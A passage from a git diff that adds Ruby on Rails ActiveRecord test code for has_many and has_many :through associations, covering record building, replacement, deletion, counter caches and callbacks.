+
+  def test_creating_using_primary_key
+    firm = Firm.first
+    client = firm.clients_using_primary_key.create!(name: "test")
+    assert_equal firm.name, client.firm_name
+  end
+
+  def test_defining_has_many_association_with_delete_all_dependency_lazily_evaluates_target_class
+    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
+    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+      class DeleteAllModel < ActiveRecord::Base
+        has_many :nonentities, :dependent => :delete_all
+      end
+    EOF
+  end
+
+  def test_defining_has_many_association_with_nullify_dependency_lazily_evaluates_target_class
+    ActiveRecord::Reflection::AssociationReflection.any_instance.expects(:class_name).never
+    class_eval(<<-EOF, __FILE__, __LINE__ + 1)
+      class NullifyModel < ActiveRecord::Base
+        has_many :nonentities, :dependent => :nullify
+      end
+    EOF
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_has_many_association_with_where_clause
+    new_comment = posts(:welcome).comments.where(body: "Some content").build
+    assert_equal new_comment.body, "Some content"
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_has_many_association_with_multiple_where_clauses
+    new_comment = posts(:welcome).comments.where(body: "Some content").where(type: "SpecialComment").build
+    assert_equal new_comment.body, "Some content"
+    assert_equal new_comment.type, "SpecialComment"
+    assert_equal new_comment.post_id, posts(:welcome).id
+  end
+
+  def test_include_method_in_has_many_association_should_return_true_for_instance_added_with_build
+    post = Post.new
+    comment = post.comments.build
+    assert_equal true, post.comments.include?(comment)
+  end
+
+  def test_load_target_respects_protected_attributes
+    topic = Topic.create!
+    reply = topic.replies.create(title: "reply 1")
+    reply.approved = false
+    reply.save!
+
+    # Save with a different object instance, so the instance that's still held
+    # in topic.relies doesn't know about the changed attribute.
+    reply2 = Reply.find(reply.id)
+    reply2.approved = true
+    reply2.save!
+
+    # Force loading the collection from the db. This will merge the existing
+    # object (reply) with what gets loaded from the db (which includes the
+    # changed approved attribute). approved is a protected attribute, so if mass
+    # assignment is used, it won't get updated and will still be false.
+    first = topic.replies.to_a.first
+    assert_equal reply.id, first.id
+    assert_equal true, first.approved?
+  end
+
+  def test_to_a_should_dup_target
+    ary    = topics(:first).replies.to_a
+    target = topics(:first).replies.target
+
+    assert_not_equal target.object_id, ary.object_id
+  end
+
+  def test_merging_with_custom_attribute_writer
+    bulb = Bulb.new(color: "red")
+    assert_equal "RED!", bulb.color
+
+    car = Car.create!
+    car.bulbs << bulb
+
+    assert_equal "RED!", car.bulbs.to_a.first.color
+  end
+
+  def test_abstract_class_with_polymorphic_has_many
+    post = SubStiPost.create! title: "fooo", body: "baa"
+    tagging = Tagging.create! taggable: post
+    assert_equal [tagging], post.taggings
+  end
+
+  def test_with_polymorphic_has_many_with_custom_columns_name
+    post = Post.create! title: "foo", body: "bar"
+    image = Image.create!
+
+    post.images << image
+
+    assert_equal [image], post.images
+  end
+
+  def test_build_with_polymorphic_has_many_does_not_allow_to_override_type_and_id
+    welcome = posts(:welcome)
+    tagging = welcome.taggings.build(taggable_id: 99, taggable_type: "ShouldNotChange")
+
+    assert_equal welcome.id, tagging.taggable_id
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_build_from_polymorphic_association_sets_inverse_instance
+    post = Post.new
+    tagging = post.taggings.build
+
+    assert_equal post, tagging.taggable
+  end
+
+  def test_dont_call_save_callbacks_twice_on_has_many
+    firm = companies(:first_firm)
+    contract = firm.contracts.create!
+
+    assert_equal 1, contract.hi_count
+    assert_equal 1, contract.bye_count
+  end
+
+  def test_association_attributes_are_available_to_after_initialize
+    car = Car.create(name: "honda")
+    bulb = car.bulbs.build
+
+    assert_equal car.id, bulb.attributes_after_initialize["car_id"]
+  end
+
+  def test_attributes_are_set_when_initialized_from_has_many_null_relationship
+    car  = Car.new name: "honda"
+    bulb = car.bulbs.where(name: "headlight").first_or_initialize
+    assert_equal "headlight", bulb.name
+  end
+
+  def test_attributes_are_set_when_initialized_from_polymorphic_has_many_null_relationship
+    post    = Post.new title: "title", body: "bar"
+    tag     = Tag.create!(name: "foo")
+
+    tagging = post.taggings.where(tag: tag).first_or_initialize
+
+    assert_equal tag.id, tagging.tag_id
+    assert_equal "Post", tagging.taggable_type
+  end
+
+  def test_replace
+    car = Car.create(name: "honda")
+    bulb1 = car.bulbs.create
+    bulb2 = Bulb.create
+
+    assert_equal [bulb1], car.bulbs
+    car.bulbs.replace([bulb2])
+    assert_equal [bulb2], car.bulbs
+    assert_equal [bulb2], car.reload.bulbs
+  end
+
+  def test_replace_returns_target
+    car = Car.create(name: "honda")
+    bulb1 = car.bulbs.create
+    bulb2 = car.bulbs.create
+    bulb3 = Bulb.create
+
+    assert_equal [bulb1, bulb2], car.bulbs
+    result = car.bulbs.replace([bulb3, bulb1])
+    assert_equal [bulb1, bulb3], car.bulbs
+    assert_equal [bulb1, bulb3], result
+  end
+
+  def test_collection_association_with_private_kernel_method
+    firm = companies(:first_firm)
+    assert_equal [accounts(:signals37)], firm.accounts.open
+  end
+
+  test "first_or_initialize adds the record to the association" do
+    firm = Firm.create! name: "omg"
+    client = firm.clients_of_firm.first_or_initialize
+    assert_equal [client], firm.clients_of_firm
+  end
+
+  test "first_or_create adds the record to the association" do
+    firm = Firm.create! name: "omg"
+    firm.clients_of_firm.load_target
+    client = firm.clients_of_firm.first_or_create name: "lol"
+    assert_equal [client], firm.clients_of_firm
+    assert_equal [client], firm.reload.clients_of_firm
+  end
+
+  test "delete_all, when not loaded, doesn't load the records" do
+    post = posts(:welcome)
+
+    assert post.taggings_with_delete_all.count > 0
+    assert !post.taggings_with_delete_all.loaded?
+
+    # 2 queries: one DELETE and another to update the counter cache
+    assert_queries(2) do
+      post.taggings_with_delete_all.delete_all
+    end
+  end
+
+  test "has many associations on new records use null relations" do
+    post = Post.new
+
+    assert_no_queries(ignore_none: false) do
+      assert_equal [], post.comments
+      assert_equal [], post.comments.where(body: "omg")
+      assert_equal [], post.comments.pluck(:body)
+      assert_equal 0,  post.comments.sum(:id)
+      assert_equal 0,  post.comments.count
+    end
+  end
+
+  test "collection proxy respects default scope" do
+    author = authors(:mary)
+    assert !author.first_posts.exists?
+  end
+
+  test "association with extend option" do
+    post = posts(:welcome)
+    assert_equal "lifo",  post.comments_with_extend.author
+    assert_equal "hello", post.comments_with_extend.greeting
+  end
+
+  test "association with extend option with multiple extensions" do
+    post = posts(:welcome)
+    assert_equal "lifo",  post.comments_with_extend_2.author
+    assert_equal "hullo", post.comments_with_extend_2.greeting
+  end
+
+  test "extend option affects per association" do
+    post = posts(:welcome)
+    assert_equal "lifo",  post.comments_with_extend.author
+    assert_equal "lifo",  post.comments_with_extend_2.author
+    assert_equal "hello", post.comments_with_extend.greeting
+    assert_equal "hullo", post.comments_with_extend_2.greeting
+  end
+
+  test "delete record with complex joins" do
+    david = authors(:david)
+
+    post = david.posts.first
+    post.type = "PostWithSpecialCategorization"
+    post.save
+
+    categorization = post.categorizations.first
+    categorization.special = true
+    categorization.save
+
+    assert_not_equal [], david.posts_with_special_categorizations
+    david.posts_with_special_categorizations = []
+    assert_equal [], david.posts_with_special_categorizations
+  end
+
+  test "does not duplicate associations when used with natural primary keys" do
+    speedometer = Speedometer.create!(id: "4")
+    speedometer.minivans.create!(minivan_id: "a-van-red" , name: "a van", color: "red")
+
+    assert_equal 1, speedometer.minivans.to_a.size, "Only one association should be present:\n#{speedometer.minivans.to_a}"
+    assert_equal 1, speedometer.reload.minivans.to_a.size
+  end
+
+  test "can unscope the default scope of the associated model" do
+    car = Car.create!
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "other",    car: car
+
+    assert_equal [bulb1], car.bulbs
+    assert_equal [bulb1, bulb2], car.all_bulbs.sort_by(&:id)
+  end
+
+  test "can unscope and where the default scope of the associated model" do
+    Car.has_many :other_bulbs, -> { unscope(where: [:name]).where(name: "other") }, class_name: "Bulb"
+    car = Car.create!
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "other",    car: car
+
+    assert_equal [bulb1], car.bulbs
+    assert_equal [bulb2], car.other_bulbs
+  end
+
+  test "can rewhere the default scope of the associated model" do
+    Car.has_many :old_bulbs, -> { rewhere(name: "old") }, class_name: "Bulb"
+    car = Car.create!
+    bulb1 = Bulb.create! name: "defaulty", car: car
+    bulb2 = Bulb.create! name: "old",      car: car
+
+    assert_equal [bulb1], car.bulbs
+    assert_equal [bulb2], car.old_bulbs
+  end
+
+  test "unscopes the default scope of associated model when used with include" do
+    car = Car.create!
+    bulb = Bulb.create! name: "other", car: car
+
+    assert_equal [bulb], Car.find(car.id).all_bulbs
+    assert_equal [bulb], Car.includes(:all_bulbs).find(car.id).all_bulbs
+    assert_equal [bulb], Car.eager_load(:all_bulbs).find(car.id).all_bulbs
+  end
+
+  test "raises RecordNotDestroyed when replaced child can't be destroyed" do
+    car = Car.create!
+    original_child = FailedBulb.create!(car: car)
+
+    error = assert_raise(ActiveRecord::RecordNotDestroyed) do
+      car.failed_bulbs = [FailedBulb.create!]
+    end
+
+    assert_equal [original_child], car.reload.failed_bulbs
+    assert_equal "Failed to destroy the record", error.message
+  end
+
+  test "updates counter cache when default scope is given" do
+    topic = DefaultRejectedTopic.create approved: true
+
+    assert_difference "topic.reload.replies_count", 1 do
+      topic.approved_replies.create!
+    end
+  end
+
+  test "dangerous association name raises ArgumentError" do
+    [:errors, "errors", :save, "save"].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_many name
+        end
+      end
+    end
+  end
+
+  test "passes custom context validation to validate children" do
+    pirate = FamousPirate.new
+    pirate.famous_ships << ship = FamousShip.new
+
+    assert pirate.valid?
+    assert_not pirate.valid?(:conference)
+    assert_equal "can't be blank", ship.errors[:name].first
+  end
+
+  test "association with instance dependent scope" do
+    bob = authors(:bob)
+    Post.create!(title: "signed post by bob", body: "stuff", author: authors(:bob))
+    Post.create!(title: "anonymous post", body: "more stuff", author: authors(:bob))
+    assert_equal ["misc post by bob", "other post by bob",
+                  "signed post by bob"], bob.posts_with_signature.map(&:title).sort
+
+    assert_equal [], authors(:david).posts_with_signature.map(&:title)
+  end
+
+  test "associations autosaves when object is already persisted" do
+    bulb = Bulb.create!
+    tyre = Tyre.create!
+
+    car = Car.create! do |c|
+      c.bulbs << bulb
+      c.tyres << tyre
+    end
+
+    assert_equal 1, car.bulbs.count
+    assert_equal 1, car.tyres.count
+  end
+
+  test "associations replace in memory when records have the same id" do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    new_bulb.name = "foo"
+    car.bulbs = [new_bulb]
+
+    assert_equal "foo", car.bulbs.first.name
+  end
+
+  test "in memory replacement executes no queries" do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+
+    assert_no_queries do
+      car.bulbs = [new_bulb]
+    end
+  end
+
+  test "in memory replacements do not execute callbacks" do
+    raise_after_add = false
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = :cars
+      has_many :bulbs, after_add: proc { raise if raise_after_add }
+
+      def self.name
+        "Car"
+      end
+    end
+    bulb = Bulb.create!
+    car = klass.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    raise_after_add = true
+
+    assert_nothing_raised do
+      car.bulbs = [new_bulb]
+    end
+  end
+
+  test "in memory replacements sets inverse instance" do
+    bulb = Bulb.create!
+    car = Car.create!(bulbs: [bulb])
+
+    new_bulb = Bulb.find(bulb.id)
+    car.bulbs = [new_bulb]
+
+    assert_same car, new_bulb.car
+  end
+
+  test "in memory replacement maintains order" do
+    first_bulb = Bulb.create!
+    second_bulb = Bulb.create!
+    car = Car.create!(bulbs: [first_bulb, second_bulb])
+
+    same_bulb = Bulb.find(first_bulb.id)
+    car.bulbs = [second_bulb, same_bulb]
+
+    assert_equal [first_bulb, second_bulb], car.bulbs
+  end
+
+  test "prevent double insertion of new object when the parent association loaded in the after save callback" do
+    reset_callbacks(:save, Bulb) do
+      Bulb.after_save { |record| record.car.bulbs.load }
+
+      car = Car.create!
+      car.bulbs << Bulb.new
+
+      assert_equal 1, car.bulbs.size
+    end
+  end
+
+  test "prevent double firing the before save callback of new object when the parent association saved in the callback" do
+    reset_callbacks(:save, Bulb) do
+      count = 0
+      Bulb.before_save { |record| record.car.save && count += 1 }
+
+      car = Car.create!
+      car.bulbs.create!
+
+      assert_equal 1, count
+    end
+  end
+
+  class AuthorWithErrorDestroyingAssociation < ActiveRecord::Base
+    self.table_name = "authors"
+    has_many :posts_with_error_destroying,
+      class_name: "PostWithErrorDestroying",
+      foreign_key: :author_id,
+      dependent: :destroy
+  end
+
+  class PostWithErrorDestroying < ActiveRecord::Base
+    self.table_name = "posts"
+    self.inheritance_column = nil
+    before_destroy -> { throw :abort }
+  end
+
+  def test_destroy_does_not_raise_when_association_errors_on_destroy
+    assert_no_difference "AuthorWithErrorDestroyingAssociation.count" do
+      author = AuthorWithErrorDestroyingAssociation.first
+
+      assert_not author.destroy
+    end
+  end
+
+  def test_destroy_with_bang_bubbles_errors_from_associations
+    error = assert_raises ActiveRecord::RecordNotDestroyed do
+      AuthorWithErrorDestroyingAssociation.first.destroy!
+    end
+
+    assert_instance_of PostWithErrorDestroying, error.record
+  end
+
+  def test_ids_reader_memoization
+    car = Car.create!(name: "Tofaş")
+    bulb = Bulb.create!(car: car)
+
+    assert_equal [bulb.id], car.bulb_ids
+    assert_no_queries { car.bulb_ids }
+
+    bulb2 = car.bulbs.create!
+
+    assert_equal [bulb.id, bulb2.id], car.bulb_ids
+    assert_no_queries { car.bulb_ids }
+  end
+
+  def test_loading_association_in_validate_callback_doesnt_affect_persistence
+    reset_callbacks(:validation, Bulb) do
+      Bulb.after_validation { |record| record.car.bulbs.load }
+
+      car = Car.create!(name: "Car")
+      bulb = car.bulbs.create!
+
+      assert_equal [bulb], car.bulbs
+    end
+  end
+
+  private
+
+    def force_signal37_to_load_all_clients_of_firm
+      companies(:first_firm).clients_of_firm.load_target
+    end
+
+    def reset_callbacks(kind, klass)
+      old_callbacks = {}
+      old_callbacks[klass] = klass.send("_#{kind}_callbacks").dup
+      klass.subclasses.each do |subclass|
+        old_callbacks[subclass] = subclass.send("_#{kind}_callbacks").dup
+      end
+      yield
+    ensure
+      klass.send("_#{kind}_callbacks=", old_callbacks[klass])
+      klass.subclasses.each do |subclass|
+        subclass.send("_#{kind}_callbacks=", old_callbacks[subclass])
+      end
+    end
+end
diff --git a/activerecord/test/cases/associations/has_many_through_associations_test.rb b/activerecord/test/cases/associations/has_many_through_associations_test.rb
new file mode 100644
index 0000000000..5797ffef38
--- /dev/null
+++ b/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -0,0 +1,1276 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/person"
+require "models/reference"
+require "models/job"
+require "models/reader"
+require "models/comment"
+require "models/rating"
+require "models/tag"
+require "models/tagging"
+require "models/author"
+require "models/owner"
+require "models/pet"
+require "models/pet_treasure"
+require "models/toy"
+require "models/treasure"
+require "models/contract"
+require "models/company"
+require "models/developer"
+require "models/computer"
+require "models/subscriber"
+require "models/book"
+require "models/subscription"
+require "models/essay"
+require "models/category"
+require "models/categorization"
+require "models/member"
+require "models/membership"
+require "models/club"
+require "models/organization"
+require "models/user"
+require "models/family"
+require "models/family_tree"
+
+class HasManyThroughAssociationsTest < ActiveRecord::TestCase
+  fixtures :posts, :readers, :people, :comments, :authors, :categories, :taggings, :tags,
+           :owners, :pets, :toys, :jobs, :references, :companies, :members, :author_addresses,
+           :subscribers, :books, :subscriptions, :developers, :categorizations, :essays,
+           :categories_posts, :clubs, :memberships, :organizations
+
+  # Dummies to force column loads so query counts are clean.
+  def setup
+    Person.create first_name: "gummy"
+    Reader.create person_id: 0, post_id: 0
+  end
+
+  def test_preload_sti_rhs_class
+    developers = Developer.includes(:firms).all.to_a
+    assert_no_queries do
+      developers.each(&:firms)
+    end
+  end
+
+  def test_preload_sti_middle_relation
+    club = Club.create!(name: "Aaron cool banana club")
+    member1 = Member.create!(name: "Aaron")
+    member2 = Member.create!(name: "Cat")
+
+    SuperMembership.create! club: club, member: member1
+    CurrentMembership.create! club: club, member: member2
+
+    club1 = Club.includes(:members).find_by_id club.id
+    assert_equal [member1, member2].sort_by(&:id),
+                 club1.members.sort_by(&:id)
+  end
+
+  def test_ordered_has_many_through
+    person_prime = Class.new(ActiveRecord::Base) do
+      def self.name; "Person"; end
+
+      has_many :readers
+      has_many :posts, -> { order("posts.id DESC") }, through: :readers
+    end
+    posts = person_prime.includes(:posts).first.posts
+
+    assert_operator posts.length, :>, 1
+    posts.each_cons(2) do |left, right|
+      assert_operator left.id, :>, right.id
+    end
+  end
+
+  def test_singleton_has_many_through
+    book         = make_model "Book"
+    subscription = make_model "Subscription"
+    subscriber   = make_model "Subscriber"
+
+    subscriber.primary_key = "nick"
+    subscription.belongs_to :book,       anonymous_class: book
+    subscription.belongs_to :subscriber, anonymous_class: subscriber
+
+    book.has_many :subscriptions, anonymous_class: subscription
+    book.has_many :subscribers, through: :subscriptions, anonymous_class: subscriber
+
+    anonbook = book.first
+    namebook = Book.find anonbook.id
+
+    assert_operator anonbook.subscribers.count, :>, 0
+    anonbook.subscribers.each do |s|
+      assert_instance_of subscriber, s
+    end
+    assert_equal namebook.subscribers.map(&:id).sort,
+                 anonbook.subscribers.map(&:id).sort
+  end
+
+  def test_no_pk_join_table_append
+    lesson, _, student = make_no_pk_hm_t
+
+    sicp = lesson.new(name: "SICP")
+    ben = student.new(name: "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+  end
+
+  def test_no_pk_join_table_delete
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    sicp = lesson.new(name: "SICP")
+    ben = student.new(name: "Ben Bitdiddle")
+    louis = student.new(name: "Louis Reasoner")
+    sicp.students << ben
+    sicp.students << louis
+    assert sicp.save!
+
+    sicp.students.reload
+    assert_operator lesson_student.count, :>=, 2
+    assert_no_difference("student.count") do
+      assert_difference("lesson_student.count", -2) do
+        sicp.students.destroy(*student.all.to_a)
+      end
+    end
+  end
+
+  def test_no_pk_join_model_callbacks
+    lesson, lesson_student, student = make_no_pk_hm_t
+
+    after_destroy_called = false
+    lesson_student.after_destroy do
+      after_destroy_called = true
+    end
+
+    sicp = lesson.new(name: "SICP")
+    ben = student.new(name: "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+
+    sicp.students.reload
+    sicp.students.destroy(*student.all.to_a)
+    assert after_destroy_called, "after destroy should be called"
+  end
+
+  def test_pk_is_not_required_for_join
+    post  = Post.includes(:scategories).first
+    post2 = Post.includes(:categories).first
+
+    assert_operator post.categories.length, :>, 0
+    assert_equal post2.categories, post.categories
+  end
+
+  def test_include?
+    person = Person.new
+    post = Post.new
+    person.posts << post
+    assert_includes person.posts, post
+  end
+
+  def test_associate_existing
+    post   = posts(:thinking)
+    person = people(:david)
+
+    assert_queries(1) do
+      post.people << person
+    end
+
+    assert_queries(1) do
+      assert_includes post.people, person
+    end
+
+    assert_includes post.reload.people.reload, person
+  end
+
+  def test_delete_all_for_with_dependent_option_destroy
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_destroy.count
+
+    assert_no_difference "Job.count" do
+      assert_difference "Reference.count", -1 do
+        person.reload.jobs_with_dependent_destroy.delete_all
+      end
+    end
+  end
+
+  def test_delete_all_for_with_dependent_option_nullify
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_nullify.count
+
+    assert_no_difference "Job.count" do
+      assert_no_difference "Reference.count" do
+        person.reload.jobs_with_dependent_nullify.delete_all
+      end
+    end
+  end
+
+  def test_delete_all_for_with_dependent_option_delete_all
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_delete_all.count
+
+    assert_no_difference "Job.count" do
+      assert_difference "Reference.count", -1 do
+        person.reload.jobs_with_dependent_delete_all.delete_all
+      end
+    end
+  end
+
+  def test_concat
+    person = people(:david)
+    post   = posts(:thinking)
+    post.people.concat [person]
+    assert_equal 1, post.people.size
+    assert_equal 1, post.people.reload.size
+  end
+
+  def test_associate_existing_record_twice_should_add_to_target_twice
+    post   = posts(:thinking)
+    person = people(:david)
+
+    assert_difference "post.people.to_a.count", 2 do
+      post.people << person
+      post.people << person
+    end
+  end
+
+  def test_associate_existing_record_twice_should_add_records_twice
+    post   = posts(:thinking)
+    person = people(:david)
+
+    assert_difference "post.people.count", 2 do
+      post.people << person
+      post.people << person
+    end
+  end
+
+  def test_add_two_instance_and_then_deleting
+    post   = posts(:thinking)
+    person = people(:david)
+
+    post.people << person
+    post.people << person
+
+    counts = ["post.people.count", "post.people.to_a.count", "post.readers.count", "post.readers.to_a.count"]
+    assert_difference counts, -2 do
+      post.people.delete(person)
+    end
+
+    assert_not_includes post.people.reload, person
+  end
+
+  def test_associating_new
+    assert_queries(1) { posts(:thinking) }
+    new_person = nil # so block binding catches it
+
+    assert_queries(0) do
+      new_person = Person.new first_name: "bob"
+    end
+
+    # Associating new records always saves them
+    # Thus, 1 query for the new person record, 1 query for the new join table record
+    assert_queries(2) do
+      posts(:thinking).people << new_person
+    end
+
+    assert_queries(1) do
+      assert_includes posts(:thinking).people, new_person
+    end
+
+    assert_includes posts(:thinking).reload.people.reload, new_person
+  end
+
+  def test_associate_new_by_building
+    assert_queries(1) { posts(:thinking) }
+
+    assert_queries(0) do
+      posts(:thinking).people.build(first_name: "Bob")
+      posts(:thinking).people.new(first_name: "Ted")
+    end
+
+    # Should only need to load the association once
+    assert_queries(1) do
+      assert_includes posts(:thinking).people.collect(&:first_name), "Bob"
+      assert_includes posts(:thinking).people.collect(&:first_name), "Ted"
+    end
+
+    # 2 queries for each new record (1 to save the record itself, 1 for the join model)
+    #    * 2 new records = 4
+    # + 1 query to save the actual post = 5
+    assert_queries(5) do
+      posts(:thinking).body += "-changed"
+      posts(:thinking).save
+    end
+
+    assert_includes posts(:thinking).reload.people.reload.collect(&:first_name), "Bob"
+    assert_includes posts(:thinking).reload.people.reload.collect(&:first_name), "Ted"
+  end
+
+  def test_build_then_save_with_has_many_inverse
+    post   = posts(:thinking)
+    person = post.people.build(first_name: "Bob")
+    person.save
+    post.reload
+
+    assert_includes post.people, person
+  end
+
+  def test_build_then_save_with_has_one_inverse
+    post   = posts(:thinking)
+    person = post.single_people.build(first_name: "Bob")
+    person.save
+    post.reload
+
+    assert_includes post.single_people, person
+  end
+
+  def test_build_then_remove_then_save
+    post = posts(:thinking)
+    post.people.build(first_name: "Bob")
+    ted = post.people.build(first_name: "Ted")
+    post.people.delete(ted)
+    post.save!
+    post.reload
+
+    assert_equal ["Bob"], post.people.collect(&:first_name)
+  end
+
+  def test_both_parent_ids_set_when_saving_new
+    post = Post.new(title: "Hello", body: "world")
+    person = Person.new(first_name: "Sean")
+
+    post.people = [person]
+    post.save
+
+    assert post.id
+    assert person.id
+    assert_equal post.id, post.readers.first.post_id
+    assert_equal person.id, post.readers.first.person_id
+  end
+
+  def test_delete_association
+    assert_queries(2) { posts(:welcome);people(:michael); }
+
+    assert_queries(1) do
+      posts(:welcome).people.delete(people(:michael))
+    end
+
+    assert_queries(1) do
+      assert posts(:welcome).people.empty?
+    end
+
+    assert posts(:welcome).reload.people.reload.empty?
+  end
+
+  def test_destroy_association
+    assert_no_difference "Person.count" do
+      assert_difference "Reader.count", -1 do
+        posts(:welcome).people.destroy(people(:michael))
+      end
+    end
+
+    assert posts(:welcome).reload.people.empty?
+    assert posts(:welcome).people.reload.empty?
+  end
+
+  def test_destroy_all
+    assert_no_difference "Person.count" do
+      assert_difference "Reader.count", -1 do
+        posts(:welcome).people.destroy_all
+      end
+    end
+
+    assert posts(:welcome).reload.people.empty?
+    assert posts(:welcome).people.reload.empty?
+  end
+
+  def test_should_raise_exception_for_destroying_mismatching_records
+    assert_no_difference ["Person.count", "Reader.count"] do
+      assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:welcome).people.destroy(posts(:thinking)) }
+    end
+  end
+
+  def test_delete_through_belongs_to_with_dependent_nullify
+    Reference.make_comments = true
+
+    person    = people(:michael)
+    job       = jobs(:magician)
+    reference = Reference.where(job_id: job.id, person_id: person.id).first
+
+    assert_no_difference ["Job.count", "Reference.count"] do
+      assert_difference "person.jobs.count", -1 do
+        person.jobs_with_dependent_nullify.delete(job)
+      end
+    end
+
+    assert_nil reference.reload.job_id
+  ensure
+    Reference.make_comments = false
+  end
+
+  def test_delete_through_belongs_to_with_dependent_delete_all
+    Reference.make_comments = true
+
+    person = people(:michael)
+    job    = jobs(:magician)
+
+    # Make sure we're not deleting everything
+    assert person.jobs.count >= 2
+
+    assert_no_difference "Job.count" do
+      assert_difference ["person.jobs.count", "Reference.count"], -1 do
+        person.jobs_with_dependent_delete_all.delete(job)
+      end
+    end
+
+    # Check that the destroy callback on Reference did not run
+    assert_nil person.reload.comments
+  ensure
+    Reference.make_comments = false
+  end
+
+  def test_delete_through_belongs_to_with_dependent_destroy
+    Reference.make_comments = true
+
+    person = people(:michael)
+    job    = jobs(:magician)
+
+    # Make sure we're not deleting everything
+    assert person.jobs.count >= 2
+
+    assert_no_difference "Job.count" do
+      assert_difference ["person.jobs.count", "Reference.count"], -1 do
+        person.jobs_with_dependent_destroy.delete(job)
+      end
+    end
+
+    # Check that the destroy callback on Reference ran
+    assert_equal "Reference destroyed", person.reload.comments
+  ensure
+    Reference.make_comments = false
+  end
+
+  def test_belongs_to_with_dependent_destroy
+    person = PersonWithDependentDestroyJobs.find(1)
+
+    # Create a reference which is not linked to a job. This should not be destroyed.
+    person.references.create!
+
+    assert_no_difference "Job.count" do
+      assert_difference "Reference.count", -person.jobs.count do
+        person.destroy
+      end
+    end
+  end
+
+  def test_belongs_to_with_dependent_delete_all
+    person = PersonWithDependentDeleteAllJobs.find(1)
+
+    # Create a reference which is not linked to a job. This should not be destroyed.
+    person.references.create!
+
+    assert_no_difference "Job.count" do
+      assert_difference "Reference.count", -person.jobs.count do
+        person.destroy
+      end
+    end
+  end
+
+  def test_belongs_to_with_dependent_nullify
+    person = PersonWithDependentNullifyJobs.find(1)
+
+    references = person.references.to_a
+
+    assert_no_difference ["Reference.count", "Job.count"] do
+      person.destroy
+    end
+
+    references.each do |reference|
+      assert_nil reference.reload.job_id
+    end
+  end
+
+  def test_update_counter_caches_on_delete
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: "doomed")
+
+    assert_difference ["post.reload.tags_count"], -1 do
+      posts(:welcome).tags.delete(tag)
+    end
+  end
+
+  def test_update_counter_caches_on_delete_with_dependent_destroy
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: "doomed")
+    post.update_columns(tags_with_destroy_count: post.tags.count)
+
+    assert_difference ["post.reload.tags_with_destroy_count"], -1 do
+      posts(:welcome).tags_with_destroy.delete(tag)
+    end
+  end
+
+  def test_update_counter_caches_on_delete_with_dependent_nullify
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: "doomed")
+    post.update_columns(tags_with_nullify_count: post.tags.count)
+
+    assert_no_difference "post.reload.tags_count" do
+      assert_difference "post.reload.tags_with_nullify_count", -1 do
+        posts(:welcome).tags_with_nullify.delete(tag)
+      end
+    end
+  end
+
+  def test_update_counter_caches_on_replace_association
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: "doomed")
+    tag.tagged_posts << posts(:thinking)
+
+    tag.tagged_posts = []
+    post.reload
+
+    assert_equal(post.taggings.count, post.tags_count)
+  end
+
+  def test_update_counter_caches_on_destroy
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: "doomed")
+
+    assert_difference "post.reload.tags_count", -1 do
+      tag.tagged_posts.destroy(post)
+    end
+  end
+
+  def test_replace_association
+    assert_queries(4) { posts(:welcome);people(:david);people(:michael); posts(:welcome).people.reload }
+
+    # 1 query to delete the existing reader (michael)
+    # 1 query to associate the new reader (david)
+    assert_queries(2) do
+      posts(:welcome).people = [people(:david)]
+    end
+
+    assert_queries(0) {
+      assert_includes posts(:welcome).people, people(:david)
+      assert_not_includes posts(:welcome).people, people(:michael)
+    }
+
+    assert_includes posts(:welcome).reload.people.reload, people(:david)
+    assert_not_includes posts(:welcome).reload.people.reload, people(:michael)
+  end
+
+  def test_replace_order_is_preserved
+    posts(:welcome).people.clear
+    posts(:welcome).people = [people(:david), people(:michael)]
+    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.order("id").map(&:person_id)
+
+    # Test the inverse order in case the first success was a coincidence
+    posts(:welcome).people.clear
+    posts(:welcome).people = [people(:michael), people(:david)]
+    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.order("id").map(&:person_id)
+  end
+
+  def test_replace_by_id_order_is_preserved
+    posts(:welcome).people.clear
+    posts(:welcome).person_ids = [people(:david).id, people(:michael).id]
+    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.order("id").map(&:person_id)
+
+    # Test the inverse order in case the first success was a coincidence
+    posts(:welcome).people.clear
+    posts(:welcome).person_ids = [people(:michael).id, people(:david).id]
+    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.order("id").map(&:person_id)
+  end
+
+  def test_associate_with_create
+    assert_queries(1) { posts(:thinking) }
+
+    # 1 query for the new record, 1 for the join table record
+    # No need to update the actual collection yet!
+    assert_queries(2) do
+      posts(:thinking).people.create(first_name: "Jeb")
+    end
+
+    # *Now* we actually need the collection so it's loaded
+    assert_queries(1) do
+      assert_includes posts(:thinking).people.collect(&:first_name), "Jeb"
+    end
+
+    assert_includes posts(:thinking).reload.people.reload.collect(&:first_name), "Jeb"
+  end
+
+  def test_through_record_is_built_when_created_with_where
